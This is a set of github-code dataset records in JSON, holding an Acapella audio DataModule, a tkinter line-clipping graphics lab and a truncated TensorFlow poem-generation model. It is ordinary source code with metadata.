"github-code", "pt": "78", "api": [{"api_name": "future.standard_library.install_aliases", "line_number": 8, "usage_type": "call"}, {"api_name": "future.standard_library", "line_number": 8, "usage_type": "name"}, {"api_name": "imp.find_module", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "ctypes.CDLL", "line_number": 22, "usage_type": "call"}, {"api_name": "ctypes.CDLL", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "ctypes.CDLL", "line_number": 31, "usage_type": "call"}, {"api_name": "ctypes.CDLL", "line_number": 32, "usage_type": "call"}, {"api_name": "_thread.interrupt_main", "line_number": 37, "usage_type": "attribute"}, {"api_name": "win32api.SetConsoleCtrlHandler", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "37910344138", "text": "from typing import Optional\n\nimport pytorch_lightning as pl\nfrom torch.utils.data import DataLoader\n\nfrom src.dataset.acapella_dataset import AcapellaDataset\n\n\nclass AcapellaDataModule(pl.LightningDataModule):\n    \"\"\"\n    DataModule for Acapella dataset (https://ipcv.github.io/Acappella/acappella/).\n\n    Args:\n        root_dir (str): Path to the root directory.\n        batch_size (int): Batch size.\n        num_workers (int): Number of workers for the data loader.\n        sample_length (int, optional): Length of the sequence to be sampled. Defaults to 10 seconds.\n    \"\"\"\n\n    def __init__(\n            self,\n            root_dir: str,\n            batch_size: int,\n            num_workers: int,\n            sample_length: Optional[int] = 44100 * 10,\n            shuffle_train: bool = True,\n            train_aug_shift: bool = True,\n            pin_memory: bool = False,\n    ):\n        super().__init__()\n\n        self.sample_rate = 44100\n\n        self.root_dir = root_dir\n        self.batch_size = batch_size\n        self.num_workers = num_workers\n        self.sample_length = sample_length\n        self.shuffle_train = shuffle_train\n        self.train_aug_shift = train_aug_shift\n        self.pin_memory = pin_memory\n\n        self.train_dataset = None\n        self.val_dataset = None\n        self.test_dataset = None\n\n    def setup(self, stage=None):\n        self.train_dataset = AcapellaDataset(self.root_dir, split=\"train\", sample_length=self.sample_length, aug_shift=self.train_aug_shift, initial_shuffle=True)\n        self.val_dataset = AcapellaDataset(self.root_dir, split=\"validation\", sample_length=self.sample_length, initial_shuffle=True)\n        self.test_dataset = AcapellaDataset(self.root_dir, split=\"test\", sample_length=self.sample_length)\n\n    def train_dataloader(self):\n        return DataLoader(self.train_dataset, batch_size=self.batch_size, shuffle=self.shuffle_train,\n                          num_workers=self.num_workers, pin_memory=self.pin_memory)\n\n    def val_dataloader(self):\n        return DataLoader(self.val_dataset, batch_size=self.batch_size, shuffle=False,\n                          num_workers=self.num_workers, pin_memory=self.pin_memory)\n\n    def test_dataloader(self):\n        return DataLoader(self.test_dataset, batch_size=self.batch_size, shuffle=True,\n                          num_workers=self.num_workers, pin_memory=self.pin_memory)\n", "repo_name": "rkstgr/jukebox_diffusion", "sub_path": "src/datamodule/acapella_datamodule.py", "file_name": "acapella_datamodule.py", "file_ext": "py", "file_size_in_byte": 2385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pytorch_lightning.LightningDataModule", "line_number": 9, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "src.dataset.acapella_dataset.AcapellaDataset", "line_number": 47, "usage_type": "call"}, {"api_name": "src.dataset.acapella_dataset.AcapellaDataset", "line_number": 48, "usage_type": "call"}, {"api_name": "src.dataset.acapella_dataset.AcapellaDataset", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "34077277256", "text": "import tkinter as tk\nfrom point import *\nfrom PIL import Image, ImageTk\nfrom funcs import *\nimport time\nfrom datetime import datetime\nfrom math import sin, cos, pi\n\nmas = []\nlines = []\nIMGSIZEX = 600\nIMGSIZEY = IMGSIZEX\nisLocked = True\nlocalFirstPoint = []\nnewFigureLen = 0\ntmp = None\nzPixelPoint = ()\nlineFlag = False\nlineExistPoint = False\nfigureFlag = False\n\n'''\nwhiteColor = Color(255, 255, 255)\nredColor = Color(255, 0, 0)\nblackColor = Color(1, 1, 1)\ngreenColor = Color(0, 255, 0)\nblueColor = Color(0, 0, 255)\npurpleColor = Color(166, 0, 255)\nyellowColor = Color(247, 255, 0)\n'''\nwhiteColor = \"white\"\nredColor = \"red\"\nblackColor = \"black\"\ngreenColor = \"green\"\nblueColor = \"blue\"\npurpleColor = \"purple\"\nyellowColor = \"yellow\"\n\n\n\n\n\n\n\ndef colorRecognizer():\n    color = typeDrawing.get()\n    if color == \"Синий\":\n        return blueColor\n    elif color == \"Красный\":\n        return redColor\n    elif color == \"Зеленый\":\n        return greenColor\n    elif color == \"Фиолетовый\":\n        return purpleColor\n    elif color == \"Жёлтый\":\n        return yellowColor\n    else:\n        return blackColor\n\n\ndef clearCanvasField():\n    global mas, img, image_tk, isLocked\n    canvasField.delete(\"all\")\n    mas.clear()\n    img = Image.new('RGB', (IMGSIZEX, IMGSIZEY), \"white\")\n    image_tk = ImageTk.PhotoImage(img)\n    canvasField.create_image(img.size[0] // 2, img.size[1] // 2, image=image_tk)\n    isLocked = True\n\n\ndef mouseClick(event):\n    global isLocked, localFirstPoint, mas, newFigureLen, lineFlag,\\\n        zPixelPoint, figureFlag, lineExistPoint, lines, tmp\n    color = colorRecognizer()\n    x, y = int(event.x), int(event.y)\n    #print(x, y)\n    if typeDrawing.get() == \"Отрезок\":\n        if lineExistPoint:\n            lineExistPoint = False\n            lines.append((tmp, Point(x=x, y=y)))\n            lineDrawer(tmp, Point(x=x, y=y), canvasField, color)\n        else:\n            lineExistPoint = True\n            tmp = Point(x=x, y=y)\n    else:\n        if isLocked:\n            localFirstPoint = Point(x, y)\n            mas.append(localFirstPoint)\n            isLocked = False\n            newFigureLen = 0\n        else:\n            if newFigureLen == 0:\n                mas.append(Point(x, y))\n                lineDrawer(Point(x, y), localFirstPoint, canvasField, color)\n                newFigureLen += 1\n            else:\n                l = len(mas) - 1\n                mas.append((Point(x=x, y=y)))\n                lineDrawer(Point(x=x, y=y), mas[l], canvasField, color)\n                newFigureLen += 1\n\n\ndef fakeMouseClick(x, y):\n    pass\n\n\ndef lock():\n    global isLocked, localFirstPoint, mas\n    color = colorRecognizer()\n    if isLocked:\n        return\n    else:\n        l = len(mas) - 1\n        lineDrawer(localFirstPoint, mas[l], canvasField, color)\n        isLocked = True\n        print(convex(mas))\n\n\ndef redrawEdges(canvas, color):\n    global mas\n    for edge in mas:\n        lineDrawer(edge[0], edge[1], edge[2], edge[3], canvas, color)\n\n\ndef lineBtnClicked():\n    global lineFlag\n    lineFlag = True\n\n\ndef figureBtnCliced():\n    global figureFlag\n    figureFlag = True\n\ndef mainfunc():\n    global lines\n    norm = convex(mas)\n    for line in lines:\n        cyrus_beck(line, mas, norm, canvasField)\n\n\nimg = Image.new('RGB', (IMGSIZEX, IMGSIZEY), \"white\")\n\n#########################################################################\n##############################MAIN#######################################\n#########################################################################\n\nroot = tk.Tk()\ncanvasField = tk.Canvas(root, width=img.size[0], height=img.size[1])\ncanvasField.pack()\nimage_tk = ImageTk.PhotoImage(img)\ncanvasField.create_image(img.size[0] // 2, img.size[1] // 2, image=image_tk)\n\ncanvasField.bind(\"<Button-1>\", mouseClick)\n# canvasField.bind(\"<Button-2>\", testfunc)\n\ntypeDrawing = tk.StringVar()\ntypeDrawing.set(\"Отрезок\")\ntypeMenu = tk.OptionMenu(root, typeDrawing, \"Отрезок\", \"Отсекатель\")\ntypeMenu.pack(side=\"right\")\ndynamic = tk.IntVar()\ndrawBtn = tk.Button(text=\"Поехали\", command=mainfunc).pack(side=\"right\")\nclearBtn = tk.Button(text=\"Очистить\", command=clearCanvasField).pack(side=\"right\")\nlockBtn = tk.Button(text=\"Замкнуть\", command=lock).pack(side=\"right\")\nzatPixelButton = tk.Button(text=\"Ввести затравочный пиксел\", command=lineBtnClicked).pack(side=\"right\")\ncircleBtn = tk.Button(text=\"Окружность\", command=figureBtnCliced).pack(side=\"right\")\ndynamicCheckbutton = tk.Checkbutton(text=\"С задержкой\", variable=dynamic).pack(side=\"right\")\n\n\n\nroot.mainloop()\n", "repo_name": "Erokha/BMSTU_IU7", "sub_path": "sem_4/Computer graphics/lab_08/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4640, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.new", "line_number": 65, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 65, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 66, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 66, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 141, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 141, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 147, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 148, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 150, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 150, "usage_type": "name"}, {"api_name": "tkinter.StringVar", "line_number": 156, "usage_type": "call"}, {"api_name": "tkinter.OptionMenu", "line_number": 158, "usage_type": "call"}, {"api_name": "tkinter.IntVar", "line_number": 160, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 161, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 162, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 163, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 164, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 165, "usage_type": "call"}, {"api_name": "tkinter.Checkbutton", "line_number": 166, "usage_type": "call"}]}
{"seq_id": "71717605051", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport random\nfrom six.moves import xrange  # pylint: disable=redefined-builtin\n\nimport tensorflow as tf\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import nn_ops\nfrom tensorflow.python.ops import rnn\nfrom tensorflow.python.ops import variable_scope\nfrom nn import linear\nfrom functions import sequence_loss, flatten_query\n\nclass PoemModel(object):\n    def __init__(self, hps, init_emb=None):\n        # Create the model\n        self.hps = hps\n        self.enc_len = hps.bucket[0]\n        self.dec_len = hps.bucket[1]\n        self.mode = self.hps.mode\n        self.keep_prob = tf.placeholder(tf.float32)\n        self.global_step = tf.Variable(0, trainable=False)\n\n        self.zeros = np.zeros((self.hps.batch_size, self.hps.his_mem_slots), dtype=np.float32)\n        self.gama = tf.constant(20.0)\n\n        self.learning_rate = tf.Variable(float(self.hps.learning_rate), trainable=False)\n        self.learning_rate_decay_op = \\\n            self.learning_rate.assign(self.learning_rate * self.hps.decay_rate)\n\n        self.b_size = self.hps.batch_size if self.mode == 'train' else 1\n        \n        # Random bias for memory writing\n        init_val = []\n        v = 1.0\n        for i in xrange(0, self.hps.his_mem_slots):\n            init_val.append(v)\n            v /= 5.0\n\n        bias_val = []\n        for i in xrange(0, self.b_size):\n            if self.b_size > 1:\n                random.shuffle(init_val)\n            bias_val.append(np.array(init_val+[0.0]))\n        bias_val = np.array(bias_val)\n        print (\"Shape of random bias: %s\" % (str(np.shape(bias_val)))) #[b_size,his_mem_slots+1]\n        self.random_bias = tf.constant(bias_val, dtype=tf.float32)\n\n        # The null slot\n        null_mem = np.zeros([self.b_size, self.hps.his_mem_size], dtype=np.float32) - 1e-2\n        self.null_mem = np.expand_dims(null_mem, 1) #[batch_size,1,his_mem_size] 注意区分np和tf的expand_dim\n\n        # Build the graph\n        self.__build_placeholders()\n\n        # Build word embedding\n        with tf.variable_scope('word_embedding'), tf.device('/cpu:0'):\n            if init_emb is not None:\n                print (\"Initialize embedding with pre-trained word2vec.\")\n                initializer = tf.constant_initializer(init_emb)\n            else:\n                print (\"Initialize embedding with normal distribution.\")\n                initializer = tf.truncated_normal_initializer(stddev=1e-4)\n            word_emb = tf.get_variable('word_emb', [self.hps.vocab_size, self.hps.emb_size],\n                dtype=tf.float32, initializer=initializer, trainable= True)\n\n        self.emb_enc_inps = [ [tf.nn.embedding_lookup(word_emb, x) for x in enc_inp] for enc_inp in self.enc_inps] #[None,emb_size]\n        self.emb_dec_inps = [ [tf.nn.embedding_lookup(word_emb, x) for x in dec_inp] for dec_inp in self.dec_inps] #[None,emb_size]\n        self.emb_key_inps = [ [tf.nn.embedding_lookup(word_emb, x) for x in self.key_inps[i] ]  #[None,emb_size]\n            for i in xrange(0, self.hps.key_slots)]\n\n        # Build genre embedding\n        with tf.variable_scope('ph_embedding'), tf.device('/cpu:0'):\n            # NOTE: we set fixed 36 phonology categories\n            ph_emb = tf.get_variable('ph_emb', [36, self.hps.ph_emb_size], dtype=tf.float32,\n                initializer=tf.truncated_normal_initializer(stddev=1e-4))\n        emb_ph_inps = [ [tf.nn.embedding_lookup(ph_emb, x) for x in ph_inp] for ph_inp in self.ph_inps] #[None,ph_emb_size]\n\n        with tf.variable_scope('len_embedding'), tf.device('/cpu:0'):\n            len_emb = tf.get_variable('len_emb', [self.dec_len+1, self.hps.len_emb_size], dtype=tf.float32,\n                initializer=tf.truncated_normal_initializer(stddev=1e-4))\n        emb_len_inps = [ [tf.nn.embedding_lookup(len_emb, x) for x in len_inp] for len_inp in self.len_inps] #[None,len_emb_size]\n\n        # Concatenate phonology embedding and length embedding to form the genre embedding\n        self.emb_genre = [[] for x in xrange(self.hps.sens_num)]\n        for step in xrange(0, self.hps.sens_num):\n            for i in xrange(self.dec_len+1):\n                self.emb_genre[step].append(array_ops.concat([emb_ph_inps[step][i], emb_len_inps[step][i]], 1) )\n\n        # Cells for the encoder\n        enc_cell_fw  = tf.nn.rnn_cell.GRUCell(self.hps.hidden_size)\n        enc_cell_bw = tf.nn.rnn_cell.GRUCell(self.hps.hidden_size)\n\n        self.enc_cell_fw =  tf.nn.rnn_cell.DropoutWrapper(enc_cell_fw,  \n            output_keep_prob=self.keep_prob, input_keep_prob = self.keep_prob)\n        self.enc_cell_bw = tf.nn.rnn_cell.DropoutWrapper(enc_cell_bw, \n            output_keep_prob=self.keep_prob, input_keep_prob = self.keep_prob)\n\n        if self.hps.mode == 'train':\n            self.build_train_graph()\n        else:\n            self.build_gen_graph()\n\n        # saver\n        self.saver = tf.train.Saver(tf.global_variables() , write_version=tf.train.SaverDef.V1)\n\n    def __build_placeholders(self):\n        sens_num = self.hps.sens_num\n        self.enc_inps = [[] for x in xrange(sens_num)]\n        self.dec_inps = [[] for x in xrange(sens_num)]\n        self.enc_mask  = [[] for x in xrange(sens_num)]\n        self.ph_inps = [[] for x in xrange(sens_num)]\n        self.len_inps = [[] for x in xrange(sens_num)]\n        self.write_masks = [[] for x in xrange(sens_num)]\n\n        for step in xrange(0, sens_num):\n            for i in xrange(self.enc_len):\n                self.enc_inps[step].append(tf.placeholder(tf.int32, shape=[None], name=\"enc{0}_{1}\".format(step, i)))\n                self.write_masks[step].append(tf.placeholder(tf.float32, shape=[None, 1], name=\"write_masks{0}_{1}\".format(step, i)))\n            for i in xrange(self.dec_len + 1):\n                self.dec_inps[step].append(tf.placeholder(tf.int32, shape=[None],name=\"dec{0}_{1}\".format(step, i)))\n                self.len_inps[step].append(tf.placeholder(tf.int32, shape=[None],name=\"len_inps{0}_{1}\".format(step, i)))\n                self.ph_inps[step].append(tf.placeholder(tf.int32, shape=[None],name=\"ph_inps{0}_{1}\".format(step, i)))\n\n            self.enc_mask[step] = tf.placeholder(tf.float32, shape=[None, self.enc_len, 1], name=\"enc_mask{0}\".format(step))\n\n        self.key_inps = [[] for x in xrange(self.hps.key_slots)]\n        for i in xrange(self.hps.key_slots):\n            # NOTE: We set that each keyword must consist of no more than 2 characters\n            for j in xrange(2):\n                self.key_inps[i].append(tf.placeholder(tf.int32, shape=[None], name=\"key{0}_{1}\".format(i, j)))\n        self.key_mask = tf.placeholder(tf.float32, shape=[None, self.hps.key_slots, 1], name=\"key_mask\")\n\n        self.trg_weights = [[] for x in xrange(sens_num)]\n        for step in xrange(0, sens_num):\n            for i in xrange(self.dec_len + 1):\n                self.trg_weights[step].append(tf.placeholder(tf.float32, shape=[None], name=\"weight{0}_{1}\".format(step, i)))\n\n        self.targets = [[] for x in xrange(sens_num)]\n        for step in xrange(0, sens_num):\n            self.targets[step] = [self.dec_inps[step][i + 1] for i in xrange(len(self.dec_inps[step]) - 1)]\n        \n        # For beam search\n        self.beam_key_align = tf.placeholder(tf.float32, \n            shape=[None, self.hps.key_slots], name=\"beam_key_align\")\n        self.beam_attn_states = tf.placeholder(tf.float32, \n            shape=[None, self.enc_len, self.hps.hidden_size*2], name=\"beam_attn_states\")\n        self.beam_initial_state = tf.placeholder(tf.float32, \n            shape=[None, self.hps.hidden_size] , name=\"beam_initial_state\")\n        self.beam_key_states = tf.placeholder(tf.float32, \n            shape=[None, self.hps.key_slots, self.hps.hidden_size*2], name=\"beam_key_states\")\n        self.beam_global_trace = tf.placeholder(tf.float32, \n            shape=[None, self.hps.global_trace_size], name=\"beam_global_trace\")\n        \n        self.beam_his_mem = tf.placeholder(tf.float32, \n            [None, self.hps.his_mem_slots, self.hps.his_mem_size], name=\"beam_his_mem\")\n        self.beam_his_mem_mask = tf.placeholder(tf.float32, \n            [None, self.hps.his_mem_slots], name=\"beam_his_mem_mask\")\n        self.beam_topic_trace = tf.placeholder(tf.float32, \n            [None, self.hps.topic_trace_size + self.hps.key_slots], name=\"beam_topic_trace\")\n\n        # For history memory write\n        self.beam_mem_states = []\n        for i in xrange(self.dec_len):\n            self.beam_mem_states.append(tf.placeholder(tf.float32, \n                shape=[None, self.hps.hidden_size*2],name=\"beam_mem_states{0}\".format(i)))\n\n    def build_gen_graph(self):\n        print (\"using device: %s\" % self.hps.device)\n        with tf.device(self.hps.device), tf.variable_scope(\"graph\"):\n            self.key_initial_state, self.key_states = self.__build_key_memory()\n            self.enc_state, self.attn_states, _  = self.__build_encoder(0)\n            \n            enc_mask_unpack =  tf.unstack(self.enc_mask[0], axis = 2)[0] #长度为1的list，[batch_size,enc_len]\n            key_mask_unpack =  tf.unstack(self.key_mask, axis = 2)[0] #长度为1的list，[batch_size,key_slots]\n            total_mask = array_ops.concat([self.beam_his_mem_mask, key_mask_unpack, enc_mask_unpack], 1) #[batch_size,his_mem_slots+key_slots+enc_len]\n            total_attn_states = array_ops.concat([self.beam_his_mem, self.beam_key_states, self.beam_attn_states], 1)\n                #[batch_size, his_mem_slots, his_mem_size] [batch_size, key_slots, hidden_size*2] [batch_size, enc_len, hidden_size*2]\n            # normed_dec_outs, dec_outs, dec_states, attn_weights\n            self.next_out, _, self.next_state, self.next_align = self.__build_decoder([self.emb_dec_inps[0][0]],\n                total_attn_states, total_mask, self.beam_global_trace, self.beam_initial_state, [self.emb_genre[0][0]], self.beam_topic_trace)\n                    \n            self.new_topic_trace = self.__topic_trace_update(self.beam_topic_trace, self.beam_key_align, self.beam_key_states)\n            self.new_global_trace = self.__global_trace_update(self.beam_global_trace, self.beam_attn_states)\n            self.new_his_mem =  self.__write_memory(self.beam_his_mem, \n                self.beam_mem_states, self.beam_global_trace, 0)\n\n    def build_train_graph(self):\n        print (\"using device: %s\" % self.hps.device)\n        with tf.device(self.hps.device):\n\n            normed_outs_vec, loss_vec = self.__build_graph()\n\n            params = tf.trainable_variables()\n                \n            regularizers = []\n            #print(len(params))\n            for param in params:\n                #name = param.name\n                #print (name)\n                regularizers.append(tf.nn.l2_loss(param))\n                \n            regular_loss = math_ops.reduce_sum(regularizers)\n            gen_loss = math_ops.reduce_mean(loss_vec) \n            total_loss = gen_loss + 1e-5 * regular_loss\n            opt = tf.train.AdamOptimizer(learning_rate=self.learning_rate)\n            gradients = tf.gradients(total_loss, params)\n            clipped_gradients, norm = tf.clip_by_global_norm(gradients, self.hps.max_gradient_norm)\n                \n            self.update = opt.apply_gradients( zip(clipped_gradients, params), global_step=self.global_step)\n            self.gradients = clipped_gradients\n            \n            # fetch\n            self.gen_loss = gen_loss\n            self.outputs = normed_outs_vec #长度为sens_num的list，每个元素是长度为dec_len的list，每个元素为[batch_size,vocab_size]\n\n    def __build_graph(self):\n        with tf.variable_scope(\"graph\"):\n            key_initial_state, key_states = self.__build_key_memory()\n            global_trace = array_ops.zeros([self.hps.batch_size, \n                self.hps.global_trace_size], dtype=tf.float32)\n            \n            his_mem = array_ops.zeros([self.hps.batch_size, self.hps.his_mem_slots, \n                self.hps.his_mem_size], dtype=tf.float32)\n            \n            topic_trace = array_ops.zeros([self.hps.batch_size, \n                self.hps.topic_trace_size+self.hps.key_slots], dtype=tf.float32)\n\n            his_mem_mask = tf.constant(self.zeros)\n            \n            normed_outs_vec, loss_vec = [], []\n            \n            for step in xrange(0, self.hps.sens_num):\n                if step > 0:\n                        key_initial_state = None\n                        variable_scope.get_variable_scope().reuse_variables()\n                normed_outs, loss, global_trace, his_mem, topic_trace, \\\n                attn_weights = self.__build_seq2seq(global_trace, key_initial_state, \n                    key_states, his_mem, his_mem_mask, topic_trace, step)\n\n                if step >=1:\n                    his_mem_sum = math_ops.reduce_sum(tf.abs(his_mem), axis=2) #[batch_size,his_mem_slots]\n                    his_mem_bool = tf.not_equal(his_mem_sum, 0)\n                    his_mem_mask = tf.to_float(his_mem_bool)\n\n                normed_outs_vec.append(normed_outs) #长度为sens_num的list，每个元素是长度为dec_len的list，每个元素为[batch_size,vocab_size]\n                loss_vec.append(tf.identity(loss)) #长度为sens_num的list，每个元素是一个数\n            return normed_outs_vec, loss_vec\n\n    def __build_seq2seq(self, global_trace, key_initial_state, key_states, \n        his_mem, his_mem_mask, topic_trace, step):\n        enc_state, attn_states, enc_outs = self.__build_encoder(step)\n        if not (key_initial_state is None):\n            initial_state = key_initial_state #[batch_size,hidden_size]\n        else:\n            initial_state = enc_state\n\n        enc_mask_unpack =  tf.unstack(self.enc_mask[step], axis = 2)[0] #共有1个元素的list，每个元素是[batch_size,self.enc_len]\n        key_mask_unpack =  tf.unstack(self.key_mask, axis = 2)[0] #共有1个元素的list,每个元素是[batch_size,self.hps.key_slots]\n        total_mask = array_ops.concat( [his_mem_mask, key_mask_unpack, enc_mask_unpack], 1) #his_mem_mask [batch_size, self.hps.his_mem_slots]的0矩阵，常数，不是placeholder\n        total_attn_states = array_ops.concat( [his_mem, key_states, attn_states], 1) #total_mask为[batch_size,enc_len+key_slots+his_mem_slots]\n            #total_attn_states [batch_size,his_mem_slots+key_slots+enc_len,hidden_size*2]\n        normed_dec_outs, dec_outs, dec_states, attn_weights = self.__build_decoder(\n            self.emb_dec_inps[step][ : self.dec_len], total_attn_states, total_mask,\n            global_trace, initial_state, self.emb_genre[step], topic_trace)\n\n        concat_aligns = array_ops.concat(attn_weights, 0) #attn_weights是长度为dec_len的list，每个元素是list，该list只有一个元素,tensor [batch_size,attn_length]\n        key_align = concat_aligns[:, :, self.hps.his_mem_slots:self.hps.his_mem_slots+self.hps.key_slots] #concat_aligns tensor [dec_len,batch_size,attn_length]\n        key_align = math_ops.reduce_mean(key_align, axis=0) #key_align [dec_len,batch_size,key_slots] 变为[batch_size,key_slots]\n        new_topic_trace = self.__topic_trace_update(topic_trace, key_align, key_states)\n\n        new_his_mem = self.__write_memory(his_mem, enc_outs, global_trace, step)\n        new_global_trace = self.__global_trace_update(global_trace, attn_states)\n        loss = sequence_loss(dec_outs, self.targets[step][: self.dec_len], self.trg_weights[step][ : self.dec_len]) #dec_len的list，每个元素[batch_size,vocab_size] dec_len的list，每个元素[batch_size] dec_len的list，每个元素[batch_size]\n        return normed_dec_outs, loss, new_global_trace, new_his_mem, new_topic_trace, attn_weights\n        #normed_dec_outs是长度为dec_len的list，每个元素[batch_size,vocab_size]（经过了softmax）\n    def __build_key_memory(self):\n        #print (\"memory\")\n        key_states = []\n        with variable_scope.variable_scope(\"EncoderRNN\"):\n            for i in xrange(0, self.hps.key_slots):\n                if i > 0:\n                    variable_scope.get_variable_scope().reuse_variables() #重用原来的变量，而不是新创建\n                (outputs , state_fw, state_bw)  = rnn.static_bidirectional_rnn(\n                    self.enc_cell_fw, self.enc_cell_bw, self.emb_key_inps[i], dtype=tf.float32) #emb_key_inps是长度为step的list，每个元素都是[batch_size,dim]的tensor\n                key_state = array_ops.concat([state_fw, state_bw], 1) #tensor state_fw和state_bw的shape:[batch_size,hidden_size]\n                key_states.append(key_state) #tensor key_state的shape为[batch_size,2*hidden_size]\n        \n        with variable_scope.variable_scope(\"key_memory\"):\n            key_states = [array_ops.reshape(e, [-1, 1, self.enc_cell_fw.output_size*2]) for e in key_states]\n            key_states = array_ops.concat(key_states, 1) #返回tensor [-1,key_slots,self.enc_cell_fw.output_size*2]\n            key_states = tf.multiply(self.key_mask, key_states) #element-wise,支持广播\n\n            final_state = math_ops.reduce_mean(key_states, axis=1) #tensor [-1,self.enc_cell_fw.output_size*2]\n            final_state = linear(final_state, self.hps.hidden_size, True,  scope=\"key_initial\") #[batch_size,hidden_size]\n            final_state = tf.tanh(final_state)\n\n        return final_state, key_states\n            \n    def __build_encoder(self, step):\n\n        with variable_scope.variable_scope(\"EncoderRNN\", reuse=True): #为什么reuse???\n            (outputs , enc_state_fw, enc_state_bw)  = rnn.static_bidirectional_rnn(\n                    self.enc_cell_fw, self.enc_cell_bw, self.emb_enc_inps[step][:self.enc_len], dtype=tf.float32) #input是长度为bucket[0]的list,每个元素都是[batch_size,dim]的tensor\n\n            enc_outs = outputs #长度为time的list，每个元素为[batch,cell_fw.output_size + cell_bw.output_size]\n\n        with variable_scope.variable_scope(\"seq2seq_Encoder\"):\n            enc_state =  enc_state_bw #反向\n            final_state = linear(enc_state, self.hps.hidden_size, True,  scope=\"enc_initial\")\n            final_state = tf.tanh(final_state)\n\n            top_states = [array_ops.reshape(e, [-1, 1, self.enc_cell_fw.output_size*2]) for e in enc_outs]\n            attention_states = array_ops.concat(top_states, 1) #[batch_size,enc_len,self.enc_cell_fw.output_size*2]\n\n            final_attn_states = tf.multiply(self.enc_mask[step], attention_states) #enc_mask的shape是[batch_size,self.enc_len,1]\n\n        return final_state, final_attn_states, enc_outs\n\n    def __build_decoder(self, dec_inps, total_attn_states, total_mask, global_trace,\n        initial_state, genre, topic_trace):\n        with variable_scope.variable_scope(\"seq2seq_Decoder\"):\n\n            dec_cell = tf.nn.rnn_cell.GRUCell(self.hps.hidden_size)       \n            dec_cell = tf.nn.rnn_cell.DropoutWrapper(dec_cell, output_keep_prob=self.keep_prob,\n                input_keep_prob = self.keep_prob)\n\n            output_size = self.hps.vocab_size # num_decoder_symbols is vocabulary size\n            if not total_attn_states.get_shape()[1:3].is_fully_defined():\n                raise ValueError(\"Shape[1] and [2] of attn_states must be known: %s\" % total_attn_states.get_shape())\n\n            dec_outs, dec_states, attn_weights  = [], [], []\n            normed_dec_outs = []\n\n            # build attn_mask\n            imask = 1.0 - total_mask\n            attn_mask = tf.where(tf.equal(imask, 1), tf.ones_like(imask) * (-float('inf')), imask) #float('inf') 正无穷\n            #true的地方不变，false的地方变成后面的\n\n            calcu_attention = lambda query : self.__attention_calcu(total_attn_states, query, attn_mask, \"calcu_attention\")\n\n            state = initial_state\n            decoder_input_size = initial_state.get_shape()[1].value #hidden_size\n            for i, inp in enumerate(dec_inps): #某个句子的第几个字\n                if i > 0:\n                    variable_scope.get_variable_scope().reuse_variables()\n                input_size = inp.get_shape().with_rank(2)[1]\n                if input_size.value is None:\n                    raise ValueError(\"Could not infer input size from input: %s\" % inp.name)\n\n                # Read memory\n                attns, align = calcu_attention([flatten_query(state), global_trace, topic_trace])\n\n                with variable_scope.variable_scope(\"input_merge\"):\n                    x = linear([inp, attns, genre[i], global_trace], decoder_input_size, True) #[batch_size,hidden_size]\n\n                # Run the GRU\n                cell_out, state = dec_cell(x, state) #参数(inputs,state) [batch_size,input_size] [batch_size,state_size]\n                #返回(output,new_state)\n                with variable_scope.variable_scope(\"OutputProjection\"):\n                    output = linear(cell_out, output_size, True)\n\n                dec_outs.append(tf.identity(output))\n                normed_dec_outs.append(tf.identity(tf.nn.softmax(output)))\n                attn_weights.append([align])\n                dec_states.append(tf.identity(state))\n\n            return  normed_dec_outs, dec_outs, dec_states, attn_weights\n    \n\n    def __attention_calcu(self, attentions, query, attn_mask, scope):\n        with variable_scope.variable_scope(scope):\n            attn_length = attentions.get_shape()[1].value  # the length of a input sentence\n            attn_size = attentions.get_shape()[2].value  # hidden state size of encoder, that is 2*size\n            # To calculate W1 * h_t we use a 1-by-1 convolution, need to reshape before.\n            # Remember we use bidirectional RNN \n            hidden = array_ops.reshape(attentions, [-1, attn_length, 1, attn_size]) \n            # Size of query vectors for attention\n            # query vector is decoder state\n            attention_vec_size = attn_size\n\n            k = 